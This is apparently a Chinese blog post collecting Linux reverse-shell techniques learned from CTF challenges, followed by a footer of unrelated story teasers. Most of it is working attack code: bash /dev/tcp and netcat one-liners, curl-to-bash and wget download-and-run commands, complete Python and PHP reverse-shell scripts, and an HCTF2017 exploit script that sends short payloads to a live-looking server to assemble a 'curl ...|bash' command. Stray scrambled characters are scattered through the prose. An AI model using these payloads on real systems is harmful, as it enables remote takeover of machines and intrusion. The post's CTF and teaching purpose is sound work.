Linux下幾種常見(jiàn)的反彈shell方式

image.png

最近在做ctf題時(shí)碰到一些命令執(zhí)行題借用命令執(zhí)行來(lái)反彈shell,這里記錄一下禽炬。

1.bash反彈shell

個(gè)人感覺(jué)bash反彈是最簡(jiǎn)單涧卵、也是最常見(jiàn)的一種。

bash -i >& /dev/tcp/192.168.20.151/8080 0>&1

bash一句話(huà)命令詳解
以下針對(duì)常用的bash反彈一句話(huà)進(jìn)行了拆分說(shuō)明腹尖,具體內(nèi)容如下柳恐。

image.png

其實(shí)以上bash反彈一句完整的解讀過(guò)程就是:

bash產(chǎn)生了一個(gè)交互環(huán)境與本地主機(jī)主動(dòng)發(fā)起與目標(biāo)主機(jī)8080端口建立的連接(即TCP 8080 會(huì)話(huà)連接)相結(jié)合,然后在重定向個(gè)tcp 8080會(huì)話(huà)連接热幔,最后將用戶(hù)鍵盤(pán)輸入與用戶(hù)標(biāo)準(zhǔn)輸出相結(jié)合再次重定向給一個(gè)標(biāo)準(zhǔn)的輸出乐设,即得到一個(gè)bash 反彈環(huán)境。
在反彈shell時(shí)要借助netcat工具反彈

Netcat 一句話(huà)反彈:Netcat反彈也是非常常用的方法绎巨,只是這個(gè)方法需要我們手動(dòng)去安裝一個(gè)NC環(huán)境

開(kāi)啟外網(wǎng)主機(jī)監(jiān)聽(tīng)

root@kali:~# nc -lvvp 8080
listening on [any] 8080 ...

kali : 192.168.20.151
centos:192.168.20.130

先用kali開(kāi)啟監(jiān)聽(tīng):
然后centos執(zhí)行bash一句話(huà)近尚。


image.png
image.png

成功反彈。

2.netcat 一句話(huà)反彈

~  nc 192.168.31.151 7777 -t  /bin/bash
 命令詳解:通過(guò)webshell我們可以使用nc命令直接建立一個(gè)tcp 8080 的會(huì)話(huà)連接场勤,然后將本地的bash通過(guò)這個(gè)會(huì)話(huà)連接反彈給目標(biāo)主機(jī)(192.168.31.151)戈锻。

先開(kāi)啟監(jiān)聽(tīng)7777端口。


image.png
image.png
image.png

交互式反彈

3.curl反彈shell

前提要利用bash一句話(huà)的情況下使用curl反彈shell

在存在命令執(zhí)行的服務(wù)器上執(zhí)行curl ip|bash和媳,該ip的index文件上含有bash一句話(huà)格遭,就可以反彈shell。

例如在自己的服務(wù)器index上寫(xiě)上一句話(huà)

bash -i >& /dev/tcp/192.168.20.151/7777 0>&1

192.168.20.151就是作為監(jiān)聽(tīng)端口的服務(wù)器用來(lái)得到反彈的shell留瞳。


image.png

存在一句話(huà)拒迅,利用curl反彈。
kali開(kāi)啟監(jiān)聽(tīng)


image.png
image.png

4.wget方式反彈

利用wget進(jìn)行下載執(zhí)行

wget 192.168.20.130/shell.txt -O /tmp/x.php && php /tmp/x.php

利用下面貼出的php進(jìn)行反彈撼港。
開(kāi)啟監(jiān)聽(tīng)


image.png
image.png

成功反彈shell

5.其他腳本反彈

python反彈

開(kāi)啟kail監(jiān)聽(tīng)


image.png
image.png

反彈成功坪它。
py腳本

#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.20.151",7777)) #更改localhost為自己的外網(wǎng)ip,端口任意
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

php反彈

開(kāi)啟kail監(jiān)聽(tīng)端口,


image.png
image.png

成功反彈帝牡,不過(guò)這里要將php保存成txt文件進(jìn)行反彈往毡,若為php文件不會(huì)反彈成功。
php腳本:

<?php
$sock=fsockopen("192.168.20.151",7777);//localhost為自己的外網(wǎng)ip靶溜,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>

ctf遇到的命令執(zhí)行反彈shell

HCTF2017的一道

image.png

這道題大概意思就是存在命令執(zhí)行开瞭,但單次輸入字符不得大于5懒震。因此利用linux下特有的命令來(lái)寫(xiě)入shell反彈。原理就是利用curl ip|bash等很多方式去反彈shell嗤详。網(wǎng)上很多教程具體就不說(shuō)了个扰。

import requests
from time import sleep
from urllib.parse import quote
payload = [
    # generate `ls -t>g` file
    '>ls\\', 
    'ls>_', 
    '>\ \\', 
    '>-t\\', 
    '>\>g', 
    'ls>>_', 

    # generate `curl orange.tw.tw|python`
    # generate `curl 10.188.2.20|bash` 
    '>sh\ ', 
    '>ba\\', 
    '>\|\\',
    # '>03\\',
    # '>90\\',
    '>0\\',
    '>20\\',
    '>1.\\',
    '>12\\' ,
    '>7.\\',
    '>10\\' ,
    '>9.\\', 
    '>3\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\',
    
    #exec
    'sh _', 
    'sh g', 
]


r = requests.get('http://120.79.33.253:9003/?reset=1')
for i in payload:
    assert len(i) <= 5 
    r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
    print (i)
    sleep(0.2)

在自己服務(wù)器中放入bash一句話(huà),利用curl ip|bash反彈shell
開(kāi)啟監(jiān)聽(tīng)葱色,執(zhí)行后可反彈shell递宅。


image.png

利用linux文件寫(xiě)入技巧得到


image.png

ls -t >g是倒序輸出文件名字,然后sh _執(zhí)行此文件苍狰,寫(xiě)入到g中


image.png

可以看到該文件有curl xx.x.x.x|bash字符办龄,在linux下輸入任意一個(gè)字符后加\是不會(huì)中斷當(dāng)前操作,可以繼續(xù)輸入內(nèi)容淋昭。而后面沒(méi)有\(zhòng)則會(huì)中斷俐填,而sh可以在報(bào)錯(cuò)的情況下依然會(huì)執(zhí)行可以執(zhí)行的命令,因此不會(huì)影響curl的執(zhí)行翔忽。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末英融,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子歇式,更是在濱河造成了極大的恐慌驶悟,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,482評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件材失,死亡現(xiàn)場(chǎng)離奇詭異撩银,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)豺憔,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,377評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)够庙,“玉大人恭应,你說(shuō)我怎么就攤上這事≡耪#” “怎么了昼榛?”我有些...
    開(kāi)封第一講書(shū)人閱讀 152,762評(píng)論 0 342
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)剔难。 經(jīng)常有香客問(wèn)我胆屿,道長(zhǎng),這世上最難降的妖魔是什么偶宫? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 55,273評(píng)論 1 279
  • 正文 為了忘掉前任非迹,我火速辦了婚禮,結(jié)果婚禮上纯趋,老公的妹妹穿的比我還像新娘憎兽。我一直安慰自己冷离,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,289評(píng)論 5 373
  • 文/花漫 我一把揭開(kāi)白布纯命。 她就那樣靜靜地躺著西剥,像睡著了一般。 火紅的嫁衣襯著肌膚如雪亿汞。 梳的紋絲不亂的頭發(fā)上瞭空,一...
    開(kāi)封第一講書(shū)人閱讀 49,046評(píng)論 1 285
  • 那天,我揣著相機(jī)與錄音疗我,去河邊找鬼咆畏。 笑死,一個(gè)胖子當(dāng)著我的面吹牛碍粥,可吹牛的內(nèi)容都是我干的鳖眼。 我是一名探鬼主播,決...
    沈念sama閱讀 38,351評(píng)論 3 400
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼嚼摩,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼钦讳!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起枕面,我...
    開(kāi)封第一講書(shū)人閱讀 36,988評(píng)論 0 259
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤愿卒,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后潮秘,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體琼开,經(jīng)...
    沈念sama閱讀 43,476評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,948評(píng)論 2 324
  • 正文 我和宋清朗相戀三年枕荞,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了柜候。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,064評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡躏精,死狀恐怖渣刷,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情矗烛,我是刑警寧澤辅柴,帶...
    沈念sama閱讀 33,712評(píng)論 4 323
  • 正文 年R本政府宣布,位于F島的核電站瞭吃,受9級(jí)特大地震影響碌嘀,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜歪架,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,261評(píng)論 3 307
  • 文/蒙蒙 一股冗、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧牡拇,春花似錦魁瞪、人聲如沸穆律。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,264評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)峦耘。三九已至,卻和暖如春旅薄,著一層夾襖步出監(jiān)牢的瞬間辅髓,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,486評(píng)論 1 262
  • 我被黑心中介騙來(lái)泰國(guó)打工少梁, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留洛口,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 45,511評(píng)論 2 354
  • 正文 我出身青樓凯沪,卻偏偏與公主長(zhǎng)得像第焰,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子妨马,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,802評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容